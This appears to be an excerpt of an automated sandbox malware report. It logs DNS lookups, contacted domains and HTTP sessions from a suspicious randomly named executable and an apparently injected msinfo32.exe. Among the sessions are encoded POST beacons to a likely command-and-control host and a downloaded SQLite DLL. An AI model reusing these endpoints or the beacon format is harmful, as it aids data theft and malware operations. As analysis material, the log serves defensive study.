Dec 12, 2024 10:23:11.985996008 CET	8.8.8.8	192.168.2.22	0xda8c	No error (0)	www.rysanekbeton.cloud	rysanekbeton.cloud		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 10:23:11.985996008 CET	8.8.8.8	192.168.2.22	0xda8c	No error (0)	rysanekbeton.cloud		81.2.196.19	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:23:26.638597012 CET	8.8.8.8	192.168.2.22	0xe617	No error (0)	www.airrelax.shop		172.67.215.235	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:23:26.638597012 CET	8.8.8.8	192.168.2.22	0xe617	No error (0)	www.airrelax.shop		104.21.16.206	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:23:42.236202955 CET	8.8.8.8	192.168.2.22	0xd38a	No error (0)	www.vayui.top		172.67.145.234	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:23:42.236202955 CET	8.8.8.8	192.168.2.22	0xd38a	No error (0)	www.vayui.top		104.21.95.160	A (IP address)	IN (0x0001)	false
Dec 12, 2024 10:23:57.508109093 CET	8.8.8.8	192.168.2.22	0xf189	No error (0)	www.diozusemails.buzz		69.48.179.238	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.zoiheat.xyz

www.sqlite.org

www.questmatch.pro

www.mrpokrovskii.pro

www.kvsj.net

www.learniit.info

www.bankseedz.info

www.dietcoffee.online

www.smartcongress.net

www.carsten.studio

www.krshop.shop

www.rysanekbeton.cloud

www.airrelax.shop

www.vayui.top

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49165	85.159.66.93	80	1020	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:20:14.655329943 CET	540	OUT	GET /ti6k/?e2E=wRQ8oHXx&x4=aooN9XnxZY5vLLqjRSo6DpWN4fgsD3CW9S/CD7OrytslWQsmx2XgIWNhq2ot6qnFvMzcVXyCAoOGhogdqicJCN8EOoBxC+Cz12DK8fUp+S6/f8QxRRTszX5C8Y75 HTTP/1.1 Host: www.zoiheat.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36
Dec 12, 2024 10:20:15.986624002 CET	225	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.1 Date: Thu, 12 Dec 2024 09:20:15 GMT Content-Length: 0 Connection: close X-Rate-Limit-Limit: 5s X-Rate-Limit-Remaining: 19 X-Rate-Limit-Reset: 2024-12-12T09:20:20.7730248Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49166	45.33.6.223	80	3736	C:\Windows\SysWOW64\msinfo32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:20:20.920856953 CET	291	OUT	GET /2019/sqlite-dll-win32-x86-3270000.zip HTTP/1.1 User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36 Host: www.sqlite.org Connection: Keep-Alive Cache-Control: no-cache
Dec 12, 2024 10:20:22.073776007 CET	249	IN	HTTP/1.1 200 OK Connection: keep-alive Date: Thu, 12 Dec 2024 09:20:21 GMT Last-Modified: Fri, 08 Feb 2019 13:45:40 GMT Cache-Control: max-age=120 ETag: "m5c5d8804s75419" Content-type: application/zip; charset=utf-8 Content-length: 480281
Dec 12, 2024 10:20:22.074035883 CET	1236	IN	Data Raw: 50 4b 03 04 14 00 00 00 08 00 0c 03 48 4e 8e f8 a0 df 28 05 00 00 a1 15 00 00 0b 00 1c 00 73 71 6c 69 74 65 33 2e 64 65 66 55 54 09 00 03 c7 69 5c 5c c7 69 5c 5c 75 78 0b 00 01 04 e8 03 00 00 04 e8 03 00 00 85 98 cd 72 dc 36 0c 80 ef 79 9b c4 1d Data Ascii: PKHN(sqlite3.defUTi\\i\\uxr6yO_ fzP"x~?HnzA$A~KI/w0-F{CMo&\|F?,pN]Z;!p[pV&:=yYg[@N89xO%JLo3x8Xx
Dec 12, 2024 10:20:22.074050903 CET	1236	IN	Data Raw: 5b 70 33 65 f5 b6 a2 ee 96 5d b5 a5 b8 bb 3e 3f 68 73 31 6d 56 06 2c ec d2 31 23 11 06 dd e3 b6 8d 7a ef ca 56 9c 18 06 43 5d c1 6c b6 49 ac 77 68 a4 46 a7 87 95 5c aa 3f ae 22 ff 8e 92 ba db e4 55 a6 fa 5f 4c a3 3c 6a 58 20 e3 e8 f6 f2 6d 92 6e Data Ascii: [p3e]>?hs1mV,1#zVC]lIwhF\?"U_L<jX mn;aMoFvO9XqY<U:zP,`dQ7k6$/PKHNEGMsqlite3.dllUTi\\i\\ux{\|T9I&a0
Dec 12, 2024 10:20:22.074057102 CET	1236	IN	Data Raw: 59 f1 87 01 c2 fc ea 97 f3 e2 4d a1 9e d1 70 38 32 2b ff c4 88 53 18 01 65 78 bd 8c 09 7e d4 fd f3 b0 5d 58 10 c7 25 d4 38 1a d5 5f ff 43 e4 f0 ca 42 d2 48 8e ca 3d 89 55 6d 64 86 4a 43 25 d2 26 03 71 c4 42 f5 14 76 7a 6b b2 15 81 62 01 ec e8 0b Data Ascii: YMp82+Sex~]X%8_CBH=UmdJC%&qBvzkb`DN1EsGyL}80D]lZay"QaoBZOt *t<Io^YA'fYNg8$j~g2;WWd6ERZ,Y?=M
Dec 12, 2024 10:20:22.074100971 CET	1236	IN	Data Raw: 8e 63 c1 a9 42 ed cc fe 1f e0 c0 73 a4 55 4c b0 48 3d 19 52 f7 fa 0b da 82 e0 f0 ad 92 0d 3e 9b 7c 2a 56 a2 4d a3 81 9e cc f9 f0 c5 f6 27 c7 7d 42 ce 45 32 90 11 e8 5e 3f 59 9b 41 06 8c 78 2d 21 f8 ed 34 29 c6 12 e8 d1 ba 49 e0 18 09 74 e1 82 a0 Data Ascii: cBsULH=R>\|VM'}BE2^?YAx-!4)It]#~3Iw{=\~y(H~(;I\GqSOj6r@5!V3 wPqv4pw,5+-$Rv>J]>V9jnvP-p=sBf}e=
Dec 12, 2024 10:20:22.074110985 CET	1236	IN	Data Raw: cd 84 19 3c 52 af 5a e4 73 71 42 6d 8e c5 76 74 50 ee e2 b4 34 d2 aa ac e7 3e 08 a0 1c dc b6 17 7f a0 70 ce cb 28 c8 cd 70 37 8a 36 25 9b 03 78 03 1a 40 6a 88 08 e6 0c ef a6 41 bd ea 16 d6 3c d8 6c 81 e2 14 33 1e a3 7f 1f 47 f3 6c 88 8d 62 5a 46 Data Ascii: <RZsqBmvtP4>p(p76%x@jA<l3GlbZFEd!$0J6$kCtU?\|INu9x,I6yi7$MnJ2,^liN$ZxqLuL03{<`6e b iH9BQo$d`y(l?6 jBi
Dec 12, 2024 10:20:22.074116945 CET	1236	IN	Data Raw: 83 16 4f 29 95 cb 53 4c e5 71 d4 93 07 f3 58 48 bd 99 72 ba 49 5c a4 f8 bb 9a 7c 5d ba 00 d7 cd 8e 39 d7 ff 93 ed bb b9 54 c6 69 78 8d 34 5a 80 73 3c 31 3d d0 8d 3b 02 12 47 b9 31 2c 9f 08 93 85 88 6f bc ba cc 12 6f 42 c4 d2 a6 64 c8 bf 42 96 2e Data Ascii: O)SLqXHrI\\|]9Tix4Zs<1=;G1,ooBdB._p\|64Vc`7A/,P6'/FoQ"oNJ",7U9]0LyiN/kzt3&-i\u1$xsW
Dec 12, 2024 10:20:22.074130058 CET	1236	IN	Data Raw: 87 12 6a 97 27 40 f3 a9 c7 de e4 1b d4 77 1b 76 f0 01 5c b5 e2 1f 54 7f a3 21 cb 37 48 fd 97 a3 f7 af e4 d3 a6 d3 8e e4 d3 c5 ed ea 1a 64 a8 7c 5d c4 df 7d f6 bb 20 07 b6 e3 79 ed e6 05 d2 2d a4 91 9c 80 ed 68 fb 09 6c 98 1c 0e af 8f 91 47 bf 2e Data Ascii: j'@wv\T!7Hd\|]} y-hlG.N,56hOnFV?ei3X{l3)Y7(!x-am4/MMRwe@$Y9h\X4T-VV&)4@.vzjIu-vn7
Dec 12, 2024 10:20:22.074321032 CET	1236	IN	Data Raw: 7e 40 d3 e4 eb 65 12 62 0e 83 61 87 78 d5 0d c1 7e 6f 0c 20 b6 43 4c c0 88 c7 b1 8d b7 41 3f 6e c1 af 05 98 73 89 83 dd bb b9 dc 17 03 93 d7 0e 3b b3 e9 56 37 3f 69 11 af fd eb 46 9e 4b 32 c5 7b 01 a3 7a 3d c4 eb d4 b5 8e 22 6d 69 f4 38 4c 8c ce Data Ascii: ~@ebax~o CLA?ns;V7?iFK2{z="mi8LLDY{486L2Tlvw_gTt@Isp3o,i``UE7G~.%ew#h#?oZjn/x^j[ZD
Dec 12, 2024 10:20:22.074331045 CET	1236	IN	Data Raw: b5 49 dc 98 6a 83 b2 ca 4a 8e 23 d6 24 66 dc 17 b8 5d de b2 c0 b4 29 95 66 a5 28 05 20 2b a5 10 ef 02 d8 0e f1 36 83 16 24 e1 02 e9 66 97 f4 34 bf 7b 91 dc 90 a7 fd 7d ec d4 a7 40 44 26 a3 4d c8 69 6d cc 76 70 57 44 cc e0 90 b2 8f 4a 53 e4 72 3b Data Ascii: IjJ#$f])f( +6$f4{}@D&MimvpWDJSr;7mM>T/>q[qNx9SCrY}I+b?-#+497v,5l&xNq*Db5U?7m)v)MXM-R./zM@#`hM$KItI
Dec 12, 2024 10:20:22.193617105 CET	1236	IN	Data Raw: 57 18 9a d5 92 31 29 90 b4 b6 1e 30 a2 8b ae b0 e0 f8 19 fb 56 57 7c 53 fc 71 1c 0a c8 85 cf 22 06 c9 c5 a8 65 ef 0a a3 e6 c4 02 80 62 1c 45 e0 db 97 23 d8 56 6f 12 30 88 be 4e 04 44 f0 00 f7 38 5e 03 15 a6 e0 f7 26 06 b8 3d be 9e f4 02 02 c4 b7 Data Ascii: W1)0VW\|Sq"ebE#Vo0ND8^&=VaZfF.PoMr*>A}Mv&Ka,3{,;FX\|e%\|h~$kzTV.B!K< %nf]oFud+(%jg2n^fA_`v_c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49167	188.114.97.6	80	1020	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:20:31.988941908 CET	2472	OUT	POST /1yxc/ HTTP/1.1 Host: www.questmatch.pro Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Origin: http://www.questmatch.pro Referer: http://www.questmatch.pro/1yxc/ Content-Length: 2159 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36 Data Raw: 78 34 3d 68 50 48 57 33 44 36 55 44 36 46 62 58 4f 73 55 4a 6c 64 67 64 65 47 73 5a 43 51 6b 44 36 35 53 43 41 53 68 64 46 37 79 54 38 69 67 76 4a 53 61 67 32 48 72 31 50 52 36 4c 6d 4f 46 53 65 42 70 34 74 4b 41 51 72 53 77 48 76 30 49 38 56 5a 78 31 66 32 62 4e 50 7a 4a 47 7a 6c 74 74 56 5a 6e 70 45 55 45 62 52 73 35 2b 46 76 63 71 71 7a 77 51 41 35 4b 6d 6b 75 54 4e 59 2f 6a 46 35 38 61 66 6d 31 66 76 71 32 6a 34 73 4b 6c 50 42 61 66 46 75 2b 47 4f 55 72 69 57 4a 51 66 6d 31 69 4b 31 51 78 51 76 63 6d 74 57 6c 36 70 33 78 47 66 32 64 48 55 2f 67 6b 68 63 43 70 4b 58 4d 68 31 44 5a 5a 7a 6f 45 6d 48 31 62 56 2b 68 6f 68 32 77 35 66 54 45 36 50 6b 76 65 32 49 33 65 75 61 6e 34 75 74 6e 6f 70 79 50 66 41 69 52 78 36 4c 37 46 53 57 57 31 50 64 53 44 59 49 51 62 4b 6c 64 79 70 64 73 4f 65 5a 4e 38 74 38 57 77 47 66 38 58 39 52 76 34 41 30 45 43 69 69 41 71 69 45 34 30 6c 32 48 71 31 65 38 38 48 45 4c 71 49 6f 4f 56 4a 44 72 6b 66 78 66 50 32 33 61 55 70 72 44 48 4a 33 6c 71 78 4d 66 5a 53 62 72 68 66 [TRUNCATED] Data Ascii: x4=hPHW3D6UD6FbXOsUJldgdeGsZCQkD65SCAShdF7yT8igvJSag2Hr1PR6LmOFSeBp4tKAQrSwHv0I8VZx1f2bNPzJGzlttVZnpEUEbRs5+FvcqqzwQA5KmkuTNY/jF58afm1fvq2j4sKlPBafFu+GOUriWJQfm1iK1QxQvcmtWl6p3xGf2dHU/gkhcCpKXMh1DZZzoEmH1bV+hoh2w5fTE6Pkve2I3euan4utnopyPfAiRx6L7FSWW1PdSDYIQbKldypdsOeZN8t8WwGf8X9Rv4A0ECiiAqiE40l2Hq1e88HELqIoOVJDrkfxfP23aUprDHJ3lqxMfZSbrhfWJoqXnsMocnTCjz+Qmir5pllbZuO4tc/4nb3kL9K+n/e43jPasoPbfKFsCydB7E0YIZDv0w2clmxE323ifWz0it/iPRuZTzWcZJWib2ykBM0Z9UUogeBmThIBZaZ40W4PfBdVmtjvWYstjtSiqkNP+WRopyOYz3N1qLn33PlpebAKNHgY87YNhKBFAI5xx0RkdHXev5LVKFe5ETuJ6kmhsM/DHtDPSsyOR7Vgve/FWSc8t6On7Ja30OFgAvDVhVTr9MPE1lKURhwWEzR1Y+8jb9nA9jwODC2mBd0XhOK8KoHBYzd9nGM4iJWzdHpW6drVi1VQkjoH847RLkkc65oGdhQp36MgyH3UznSGLlohRS98RpAnEo5RDXD0LauIT3Z5kkNnu+kFynRrpkD1BAK1eXqy6wonf2qXsw/eE2L8kvHKSyMTubCGPeKBaOpifYq1J+gtsrbvy3zUFW4Au0S9/4CgbCr5gY5YFauEmD9jf8Vr314sMYkqnN6r98a9qpcs1g8ZeK297QpFnol7sw4uVZYr2+CQDcTQREs9nMUa4MMSKHvkBbBiQe+lGmrTkwrcxVXEAs8m/TQHcndTnyVzdIbwn+RB1FEd8EViZ51tBr/tlii1ROyeGS5ihqOXQOWg7MVhbViijMka1QpjR/maBh5P5OKot0lr9 [TRUNCATED]
Dec 12, 2024 10:20:32.108922005 CET	300	OUT	Data Raw: 53 4f 6e 30 4b 48 41 6d 57 48 50 6b 6c 64 32 46 34 72 48 72 44 34 71 43 4d 57 58 72 69 77 75 38 78 54 51 4f 7a 42 6a 72 68 74 47 4f 65 6f 56 67 59 4f 69 55 47 4c 70 33 68 38 4c 4c 58 66 33 55 36 57 78 32 56 47 59 78 61 54 33 44 6e 36 71 43 74 57 Data Ascii: SOn0KHAmWHPkld2F4rHrD4qCMWXriwu8xTQOzBjrhtGOeoVgYOiUGLp3h8LLXf3U6Wx2VGYxaT3Dn6qCtWhQr2oofBEBb8OAZQV3pz8LoH1830fum2uC40JX+itdD82+QZZ/7+Ljo+7gP0bIXBzwgxrfMvsIBUYNrYM6pXM9biNHKipyQqkRBDYi5nggpIi7Fl5omhIUee+7sgoHrRCTDL6d5h0o0n4blYPRZe/ZDqM6CZyZbrq
Dec 12, 2024 10:20:33.240324020 CET	1236	IN	HTTP/1.1 404 Date: Thu, 12 Dec 2024 09:20:33 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers X-Correlation-ID: a9c98ab6-ff4c-4420-960a-3f6c4150e61d X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: 0 CF-Connecting-IP: 8.46.123.175 CF-IPCountry: US CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=T0LoelQiyAh3%2Fck2w7eEEFiO33fPjZz1k2vxOqV2rmz8%2B6LRrA%2BwsmwsBcMxyNaaQciJkaBfI7BrcB0OLeHKmcA5dS31F0kLKQVG23UHgbxwHEOrR8PZtfM1nptnAAxfMCb6Q%2FM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f0ca39daff8f791-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1477&min_rtt=1477&rtt_var=738&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=2772&delivery_rate=0&cwnd=120&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 62 35 0d 0a 1f 8b 08 00 00 00 00 00 00 03 24 8e cb 0a 83 30 10 45 7f 25 cc da 60 6c d3 50 f3 01 05 37 b6 50 77 a5 8b 31 8f 56 9a 66 20 46 a8 88 ff 5e c4 f5 3d 9c 73 17 e8 c9 ce a0 e3 14 42 01 2e 25 4a 23 e8 05 0c 59 07 5a 0a 59 40 c4 af 03 0d 2d 65 76 a1 Data Ascii: b5$0E%`lP7Pw1Vf F^=sB.%J#YZY@-ev
Dec 12, 2024 10:20:33.240577936 CET	107	IN	Data Raw: 29 5a 28 c0 ba 8c 43 18 41 3f a0 25 f6 c6 68 83 4b cc 6f 2b f3 94 d8 ed 7a ef 58 59 cd 3f 53 c2 73 dd f8 7e 7a 35 d1 d3 ae 4e c9 05 cc 03 c5 c6 82 06 ac 4d 7d c6 5e 71 ef a5 e1 52 1e 04 af 95 40 7e f4 ca c8 ea 24 9c aa b6 e6 98 d1 7c ba 84 c6 ed Data Ascii: )Z(CA?%hKo+zXY?Ss~z5NM}^qR@~$\|oW50

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.22	49168	188.114.97.6	80	1020	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:20:34.645442009 CET	811	OUT	POST /1yxc/ HTTP/1.1 Host: www.questmatch.pro Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Origin: http://www.questmatch.pro Referer: http://www.questmatch.pro/1yxc/ Content-Length: 199 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36 Data Raw: 78 34 3d 68 50 48 57 33 44 36 55 44 36 46 62 58 50 73 55 49 33 6c 67 63 2b 47 73 61 43 51 6b 49 61 35 63 43 41 57 70 64 45 4f 70 54 4c 2b 67 68 39 57 61 68 45 2f 72 77 50 52 35 54 32 4f 2f 52 75 42 47 34 74 4c 52 51 72 65 77 48 73 49 49 2f 77 46 78 38 2b 32 59 45 66 7a 50 4e 54 6c 6f 74 56 45 54 70 45 49 55 62 52 55 35 2b 46 66 63 72 71 6a 77 46 56 74 4b 69 55 75 4a 61 6f 2f 53 46 35 35 53 66 69 52 58 76 72 61 6a 35 65 75 6c 50 56 4f 66 53 4e 6d 47 48 30 72 32 66 70 52 2f 67 30 37 51 74 7a 42 73 78 74 4f 4a 63 68 79 32 37 7a 53 5a 77 2b 37 49 38 56 6f 32 56 32 34 61 54 39 77 61 55 67 3d 3d Data Ascii: x4=hPHW3D6UD6FbXPsUI3lgc+GsaCQkIa5cCAWpdEOpTL+gh9WahE/rwPR5T2O/RuBG4tLRQrewHsII/wFx8+2YEfzPNTlotVETpEIUbRU5+FfcrqjwFVtKiUuJao/SF55SfiRXvraj5eulPVOfSNmGH0r2fpR/g07QtzBsxtOJchy27zSZw+7I8Vo2V24aT9waUg==
Dec 12, 2024 10:20:35.908523083 CET	1236	IN	HTTP/1.1 404 Date: Thu, 12 Dec 2024 09:20:35 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers X-Correlation-ID: 09c40d58-d18c-4f92-b833-326380c1bb17 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: 0 CF-Connecting-IP: 8.46.123.175 CF-IPCountry: US CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hmaArIK2uCa1Lw%2BeEjEm4qtTKF2nc%2B0fKMHRnweSYUzUFNISeKCCYCXIGglPdKIzIGofrsfJN1IX8gFlfG12yLDabE99C4Ck0eEfPbLHGPKgCCs%2BVYheTcL9uL%2B1y82ImTBUJBY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f0ca3ae4d9b43d0-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1716&min_rtt=1716&rtt_var=858&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=811&delivery_rate=0&cwnd=171&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 62 35 0d 0a 1f 8b 08 00 00 00 00 00 00 03 24 8e cb 0a 82 40 18 46 5f 65 f8 d6 23 de a6 b2 79 80 c0 8d 05 b9 8b 16 73 b3 a4 69 7e 18 15 12 f1 dd 43 5c 9f c3 e1 2c d0 64 67 c8 30 79 cf e1 62 a4 38 40 2e 30 64 1d a4 c8 04 47 50 5f 07 89 86 46 76 a1 29 58 70 58 Data Ascii: b5$@F_e#ysi~C\,dg0yb8@.0dGP_Fv)XpX
Dec 12, 2024 10:20:35.908814907 CET	106	IN	Data Raw: 37 aa de 0f 90 0f 34 c4 de 2a 58 ef 22 eb 36 ca 3a 8a ec 76 bd b7 2c cd e7 9f 49 f1 5c 37 5f 4f af 3a 74 b4 a7 63 74 5e 8d 3d 85 da 42 22 3b 1b 91 d9 43 95 d8 bc 32 89 e8 ce 45 a2 ab b2 4c ca e2 58 56 99 c9 b5 ce 4f e0 18 46 65 3e 6d 54 c6 ed b7 Data Ascii: 74*X"6:v,I\7_O:tct^=B";C2ELXVOFe>mT"s0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.22	49169	188.114.97.6	80	1020	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:20:37.306662083 CET	2472	OUT	POST /1yxc/ HTTP/1.1 Host: www.questmatch.pro Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Origin: http://www.questmatch.pro Referer: http://www.questmatch.pro/1yxc/ Content-Length: 3623 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36 Data Raw: 78 34 3d 68 50 48 57 33 44 36 55 44 36 46 62 57 75 63 55 4c 51 78 67 58 2b 47 76 52 69 51 6b 44 36 35 51 43 41 53 70 64 46 37 79 54 35 53 67 76 4b 61 61 68 6d 48 72 32 50 52 35 56 32 4f 46 53 65 42 71 34 74 66 64 51 72 75 4f 48 70 77 49 38 58 68 78 31 63 4f 62 4b 50 7a 4a 62 6a 6c 72 74 56 45 47 70 45 5a 64 62 52 51 44 2b 46 48 63 72 59 37 77 55 56 74 4a 74 30 75 4a 61 6f 2f 47 46 35 34 4a 66 6d 39 50 76 76 4f 7a 34 73 6d 6c 50 78 61 66 56 65 2b 42 42 30 72 74 53 4a 51 56 6d 31 65 37 31 51 78 63 76 63 69 54 57 6c 2b 70 32 6a 4f 66 32 65 76 54 39 77 6b 2b 54 69 70 4b 54 4d 68 7a 44 5a 5a 33 6f 45 6d 48 31 61 35 2b 67 34 68 32 77 39 72 51 4a 61 50 6b 73 65 32 50 71 4f 69 6f 6e 34 71 50 6e 72 68 49 50 73 4d 69 51 7a 43 4c 73 6c 53 57 43 56 50 66 53 44 59 2f 61 37 4c 47 64 78 59 6f 73 50 75 77 4e 38 74 38 57 32 4b 66 71 45 56 52 2f 59 41 30 47 43 69 6a 4f 4b 69 46 34 30 67 68 48 71 70 65 38 39 66 45 4e 61 34 6f 65 57 68 41 7a 6b 66 30 62 50 32 31 4c 45 6f 78 44 48 46 5a 6c 71 35 6d 66 61 36 62 72 69 33 [TRUNCATED] Data Ascii: x4=hPHW3D6UD6FbWucULQxgX+GvRiQkD65QCASpdF7yT5SgvKaahmHr2PR5V2OFSeBq4tfdQruOHpwI8Xhx1cObKPzJbjlrtVEGpEZdbRQD+FHcrY7wUVtJt0uJao/GF54Jfm9PvvOz4smlPxafVe+BB0rtSJQVm1e71QxcvciTWl+p2jOf2evT9wk+TipKTMhzDZZ3oEmH1a5+g4h2w9rQJaPkse2PqOion4qPnrhIPsMiQzCLslSWCVPfSDY/a7LGdxYosPuwN8t8W2KfqEVR/YA0GCijOKiF40ghHqpe89fENa4oeWhAzkf0bP21LEoxDHFZlq5mfa6bri3WKJqXn8MpHXTG0jyEmiiopmIgZt64sOH43JvjXdKwxveIgzPWsoC6fPJsBDVB91UYZe3oyA2bvGxt9W32fWnsivGnPg+ZBTWcVL+hGWyhEM0DzEU+geAXTgoRF7R40XoPRzFVmtjoRYs0pNelqkBL+WMzpyiY2291qJP3jflpKrAJY3gW87dwhOc+A4txxS1kfBDe+JLXMFeCATu+6k2hsI7THsrPSJSOe6Vgj+/Bbycdt6OR7Jej0OVwApTVhUTr7JjE8FKRThwaSDReY+Ezb+z59mUODiWmDs0XhuK6QIHBXTcgnGUGiMeFdGxW6s7V3FVTsDoE+47WB0lF64YGdhMp36UgywrUlBaGC1pHcy9iHZETEsdrDW3kLZaITmZ5jm14y+kP1nRttkDZBAKpeWz17E8nRHKXvSXfbGL7uPHjfSNuubS/PevMZ9NifYa1INIttbbvy3zTFW4Mu0fa/5yKbCr5hJ5YFsaEuj9iXcU/z14bMYhFnNyR9929r8os1g8eTa2yhgpEnoZcsw4TVZUr1MuQAtzQSmE938Ua/MMRFnvlBbA/QbWLGnrTlALc0W/Dds8n9TQRXHQJnyogdKXwnPhB60Ed90ViX51iOL/8hjepRO/zGQNygZGXW8ug9P9iTFijnMkY1QlAR/uoBkR55JGosUlru [TRUNCATED]
Dec 12, 2024 10:20:37.427007914 CET	1764	OUT	Data Raw: 53 4f 6e 6f 4b 47 41 49 57 47 44 6b 6c 5a 69 46 34 4b 48 72 43 59 71 42 4f 57 57 31 69 77 76 68 78 54 5a 7a 7a 44 33 42 68 72 36 4f 64 4e 42 67 5a 64 4b 55 59 72 70 35 68 38 4c 52 54 66 37 62 36 57 78 63 56 48 73 78 61 54 6e 44 6e 35 69 43 74 6d Data Ascii: SOnoKGAIWGDklZiF4KHrCYqBOWW1iwvhxTZzzD3Bhr6OdNBgZdKUYrp5h8LRTf7b6WxcVHsxaTnDn5iCtmgi2WotYBE8ScOcZQVJpyQloE583GXugCCC4kJR0CtCJc6WQYl77/6WoqvgBmzIFDbw3BreTfsZBUUlrblTpTATbzBHLSpyaIMSQTYkzHgppIiTFlBSmkAEecO7siwHxBCQB76b0B0I0mEylYH/ZevZDo46A5CZTLq
Dec 12, 2024 10:20:38.560563087 CET	1236	IN	HTTP/1.1 404 Date: Thu, 12 Dec 2024 09:20:38 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers X-Correlation-ID: 5cdc8d0f-e68a-4f17-9b44-f9936aec3b03 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: 0 CF-Connecting-IP: 8.46.123.175 CF-IPCountry: US CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cvuMPJVdA0PMZE7sxSKPB9FHSpcdqZadxGbuzrlJfIr99MWvgyrur9g%2BHCi44UXXpjFxt6D10yY8XZlk678Dh7eZoKdcmLdo7ltubzCaKnqxRe05oojZTmVdU3RLGnnbgvutwvg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f0ca3bedd48426b-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1735&min_rtt=1735&rtt_var=867&sent=3&recv=6&lost=0&retrans=0&sent_bytes=0&recv_bytes=4236&delivery_rate=0&cwnd=230&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data 